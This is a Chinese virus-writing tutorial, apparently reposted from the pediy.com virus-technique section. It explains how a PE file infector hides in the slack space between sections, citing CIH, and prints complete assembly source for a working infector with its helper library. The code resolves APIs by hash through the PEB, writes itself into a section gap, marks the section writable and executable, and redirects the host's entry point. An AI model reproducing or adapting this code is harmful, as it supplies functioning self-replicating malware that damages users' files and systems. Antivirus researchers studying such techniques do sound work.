原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。
- 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
- 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。
另外还有将我们病毒分段插入,这需要依靠我们的反汇编引擎,将病毒代码拆解成多个过程,然后分别插入,最后将这些过程连接起来,同样这样也有很多弊端,所以很多时候这不能使我们产生动力...。
我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。
代码:
; 链接选项加入/SECTION:.text|RWE 02. .386 03. .model flat, stdcall 04. option casemap:none 05. 06.include windows.inc 07. 08. .code 09. 10.VirusEntry: 11. pushad 12. call Dels 13.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 14.Table: 15. dd 038C62A7Ah 16. _CreateFile dd 0 17. dd 09554EFE7h 18. _GetFileSize dd 0 19. dd 00BE25545h 20. _ReadFile dd 0 21. dd 0A9D1FD70h 22. _SetFilePointer dd 0 23. dd 0C0D6D616h 24. _CloseHandle dd 0 25. dd 0C2F6D009h 26. _GlobalAlloc dd 0 27. dd 0585ED3CFh 28. _GlobalFree dd 0 29. dd 058D8C545h 30. _WriteFile dd 0 31. dd 0A412FD89h 32. _LoadLibrary dd 0 33. dd 014D14C51h 34. _MessageBox dd 0 35. dd 0 36. szCaption db 'Virus Dream - Demo', 0 37. szText db 'Oh Yeah of Virus Dream', 0 38. szFileName db 'test.exe', 0 39. nWriteByteNum dd 0 40.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 41.Dels: 42. pop ebp 43. call GetKernel32 44. 45. mov edi, ebp ; edi = pHashStringList = Table 46. call GetFuncAddress 47. 48. push '23' 49. push 'resu' 50. push esp ; lpFileName = user32 51. call dword ptr [ebp + (_LoadLibrary - Table)] 52. pop edx 53. pop edx ; 弹出'user32' 54. 55. mov edi, ebp 56. call GetFuncAddress 57. 58. cmp ebp, Dels - (Dels - Table) 59. je Inject ; 如果等于说明不再宿主程序中 60. 61. push 0 62. lea edx, [ebp + (szCaption - Table)] 63. push edx 64. lea edx, [ebp + (szText - Table)] 65. push edx 66. push 0 67. call dword ptr [ebp + (_MessageBox - Table)] 68. 69. lea eax, [ebp + (szFileName - Table)] 70. push eax 71. call InjectFile 72. popad 73. jmp JmpHost 74. 75.Inject: 76. lea eax, [ebp + (szFileName - Table)] 77. push eax 78. call InjectFile 79. 80. popad 81. ret 82.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 83.; 感染文件 84.; Arguments: 85.; [esp + 4 * 8 + 4] - lpFileName 86.; Return Value: 87.; Nothing 88.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 89.InjectFile: 90. pushad 91.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 92.; 注册一个SEH, 一般流程如下: 93.; push Handle 94.; push fs:[0] 95.; mov fs:[0], esp 96.; _ _ _ _ _ _ _ _ 97.; | Prev | <-- esp - 8 ; push edx 98.; | SEH Handle | <-- esp - 4 ; call _@@ 99.; | pushad | <-- esp 100.; | 返回地址 | 101.; | 参数 | 102.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 103. lea edx, [esp - 8] 104. call _@@ ; 入栈下一条指令地址, 相当于push Handle 105. mov esp, [esp + 2 * 4] ; esp指向异常回调函数的第二个参数 106. jmp _Result 107. 108._@@: 109. sub eax, eax 110. assume fs:nothing 111. xchg edx, fs:[eax] ; 相当于mov fs:[0], esp 112. push edx ; 相当于push fs:[0] 113. 114. mov edx, [esp + 4 * 8 + 4 + 4 * 2] ; edx = lpFileName 115. push eax 116. push eax 117. push OPEN_EXISTING 118. push eax 119. push FILE_SHARE_WRITE 120. push GENERIC_READ or GENERIC_WRITE 121. push edx 122. call dword ptr [ebp + (_CreateFile - Table)] 123. cmp eax, INVALID_HANDLE_VALUE 124. je _Result 125. xchg eax, ebx ; ebx = FileHandle 126. 127. push 0 128. push ebx 129. call dword ptr [ebp + (_GetFileSize - Table)] 130. push eax ; [esp] = File Size 131. 132. push eax 133. push GMEM_ZEROINIT 134. call dword ptr [ebp + (_GlobalAlloc - Table)] 135. xchg eax, edi ; edi = lpMemory 136. 137. push 0 ; 空出一个空间供下面输出参数使用 138. push esp 139. push dword ptr [esp + 4 * 2] ; File Size 140. push edi ; 将文件数据读取到edi 141. push ebx 142. call dword ptr [ebp + (_ReadFile - Table)] 143. pop [ebp + (nWriteByteNum - Table)] 144. 145. push edi 146. call IsPe 147. jnc _Free 148. 149. push edi 150. call GetSectionTable 151. xchg eax, esi ; esi = Section Table offset 152. 153. push edi 154. call GetSectionNum ; ecx = Section Num 155. jecxz _Free ; 如果ecx等于0跳 156. 157._LoopScas: 158. mov edx, [esi + 10h] ; esi + 10h = SizeOfRawData 159. sub edx, [esi + 08h] ; esi + 08h = VirtualSize 160. cmp edx, VirusLen 161. jg _MoveVirus ; 如果空隙大于病毒长度跳 162. add esi, 28h ; esi指向下一个节表 163. loop _LoopScas 164. jmp _Free 165. 166._MoveVirus: 167. push edi ; edi = lpMemory 168. call GetEntryPointVa 169. mov [ebp + (JmpHost - Table) + 1], eax ; 将JmpHost处jmp的操作数修改为OEP 170.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 171.; 设置新入口点RVA 172.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 173. mov edx, [esi + 08h] ; edx = VirtualSize 174. add edx, [esi + 0ch] ; edx = 节结尾RVA, 也即Virus开始RVA 175. mov eax, edi ; edi = lpMemory 176. add eax, [edi + 3ch] ; eax = PE Header 177. mov [eax + 28h], edx ; 修改入口点 178.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 179.; 设置节标志 180.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 181. or dword ptr [esi + 24h], 0E0000020h 182. 183. mov edx, [esi + 08h] 184. add edx, [esi + 14h] ; edx = 节结尾文件偏移,也即virus开始文件偏移 185. add edx, edi ; edx指向lpMemory中节结尾 186.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 187.; 移动病毒数据 188.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 189. pushad 190. lea esi, [ebp - 6] ; esi = VirusEntry 191. mov ecx, VirusLen 192. mov edi, edx 193. cld 194. rep movsb ; 移动病毒数据 195. popad 196. 197. push FILE_BEGIN 198. push 0 199. push 0 200. push ebx 201. call dword ptr [ebp + (_SetFilePointer - Table)] ; 将文件指针定位到开始处 202. 203. push 0 204. push esp 205. push [ebp + (nWriteByteNum - Table)] 206. push edi 207. push ebx 208. call dword ptr [ebp + (_WriteFile - Table)] ; 将数据写回文件 209. 210._Free: 211. push ebx 212. call dword ptr [ebp + (_CloseHandle - Table)] 213. push edi 214. call dword ptr [ebp + (_GlobalFree - Table)] 215. 216._Result: 217. sub eax, eax 218. pop dword ptr fs:[eax] 219. pop edx 220. popad 221. ret 4 * 1 222. 223.JmpHost: 224. push $ 225. ret 226. 227.include VirusLib.asm 228.VirusLen = $ - VirusEntry 229. 230. end VirusEntry
上面代码中include了VirusLib.asm文件,里面包含了一些病毒中常用函数:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 02.; 测试是否是PE文件 03.; Arguments: 04.; [esp] - return address 05.; [esp + 4] - lpMemory 06.; Return Value: 07.; CF - 1 08.; CF - 0 09.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 10.IsPe: 11. mov edx, [esp + 4] 12. cmp word ptr [edx], 'ZM' 13. jnz _IP_RetFails 14. add edx, [edx + 3ch] 15. cmp word ptr [edx], 'EP' 16. jnz _IP_RetFails 17. 18._IP_RetTure: 19. stc ; CF = 1 20. ret 4 * 1 21. 22._IP_RetFails: 23. clc ; CF = 0 24. ret 4 * 1 25.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 26.; 获取节表 27.; Arguments: 28.; [esp] - return address 29.; [esp + 4] - pMemory 30.; Return Value: 31.; eax - Physical offset 32.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 33.GetSectionTable: 34. mov eax, [esp + 4] 35. add eax, dword ptr [eax + 3ch] ; eax -> PE Header 36. movzx edx, word ptr [eax + 14h] ; edx = IMAGE_OPTIONAL_HEADER长度 37. lea eax, [eax + edx + 4 * 6] ; 4 * 6为IMAGE_FILE_HEADER和Signature长度 38. ret 4 * 1 39.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 40.; 获取OEP VA Address 41.; Arguments: 42.; [esp] - return address 43.; [esp + 4] - pMemory 44.; Return Value: 45.; eax - OEP VA Address 46.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 47.GetEntryPointVa: 48. mov eax, [esp + 4] 49. add eax, dword ptr [eax + 3ch] ; eax -> PE Header 50. mov edx, dword ptr [eax + 28h] ; edx = IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint 51. add edx, dword ptr [eax + 34h] ; edx += IMAGE_OPTIONAL_HEADER.ImageBase 52. xchg eax, edx 53. ret 4 * 1 54.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 55.; 获取节表数量 56.; Arguments: 57.; [esp] - return address 58.; [esp - 4] - pMemory 59.; Return Value: 60.; ecx - Section Number 61.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 62.GetSectionNum: 63. mov eax, [esp + 4] 64. add eax, [eax + 3ch] ; eax -> PE Header 65. movzx ecx, word ptr [eax + 06h] ; ecx = IMAGE_FILE_HEADER.NumberOfSection 66. ret 4 * 1 67.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 68.; 获取kernel32基地址 69.; Arguments: 70.; [esp] - return address 71.; Return Value: 72.; eax - kernel32 base address 73.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 74.GetKernel32: 75. push dword ptr 006ch 76. push dword ptr 006c0064h 77. push dword ptr 002e0032h 78. push dword ptr 0033006ch 79. push dword ptr 0065006eh 80. push dword ptr 00720065h 81. push word ptr 006bh 82. mov ebx, esp 83. assume fs:nothing 84. mov eax, fs:[30h] 85. mov eax, [eax + 0ch] 86. mov eax, [eax + 1ch] 87. 88._Search: 89. or eax, eax 90. jz _NotFound 91. inc eax 92. jz _NotFound 93. dec eax 94. mov ecx, dword ptr 13 ; ecx = 比较长度 95. lea esi, [eax + 1ch] 96. mov esi, [esi + 4] ; esi = UNICODE_STR.Buffer 97. mov edi, ebx 98. repz cmpsw 99. or ecx, ecx 100. jz _Found 101. mov eax, [eax] 102. jmp _Search 103. 104._NotFound: 105. or eax, 0ffffffffh 106. jmp _Over 107. 108._Found: 109. mov eax, [eax + 08h] 110. 111._Over: 112. add esp, 26 113. ret 114.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 115.; 获取Hash API地址 116.; Arguments: 117.; [esp] - return address 118.; eax - hModule 119.; edi - pHashStringList 120.; Return Value: 121.; Nothing 122.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 123.GetFuncAddress: 124. pushad 125. xchg eax, ebx ; ebx = hModule 126. mov eax, [ebx + 3ch] 127. mov esi, [eax + ebx + 78h] ; Get Export 128. lea esi, [esi + ebx + 18h] ; esi -> NumberOfNames 129. 130. cld 131. lodsd 132. xchg eax, ecx ; ecx = NumberOfNames 133. lodsd 134. push eax ; [esp] = AddressOfFunctions 135. lodsd 136. add eax, ebx 137. xchg eax, edx ; edx = AddressOfNames 138. lodsd 139. add eax, ebx 140. xchg eax, ebp ; ebp = AddressOfNameOrdinals 141. xchg esi, edx ; esi = AddressOfNames 142. 143._NextFunc: 144. push edi 145. lodsd 146. add eax, ebx ; eax = API 函数名字符串 147. xor edx, edx 148. 149._CalcHash: 150. rol edx, 3 151. xor dl, byte ptr [eax] 152. inc eax 153. cmp byte ptr [eax], 0 154. jnz _CalcHash 155. 156._ScanDwFunc: 157. cmp [edi], edx 158. jnz _SkipFunction 159. movzx eax, word ptr [ebp] ; 取出对应索引 160. shl eax, 2 161. add eax, [esp + 4] ; 索引乘以4后加到AddressOfFunctions 162. mov eax, [eax + ebx] ; 取出API RVA 163. add eax, ebx ; eax = API address 164. scasd ; 跳过hash 165. stosd ; 保存 166. jmp _Ret 167. 168._SkipFunction: 169. scasd 170. scasd ; 跳过hash和保存API地址的地方指向下一个hash 171. cmp dword ptr [edi], 0 172. jnz _ScanDwFunc 173. 174._Ret: 175. pop edi 176. add ebp, 2 ; ebp指向下一个索引,和AddressOfNames对应 177. loop _NextFunc 178. 179. pop ecx 180. popad 181. ret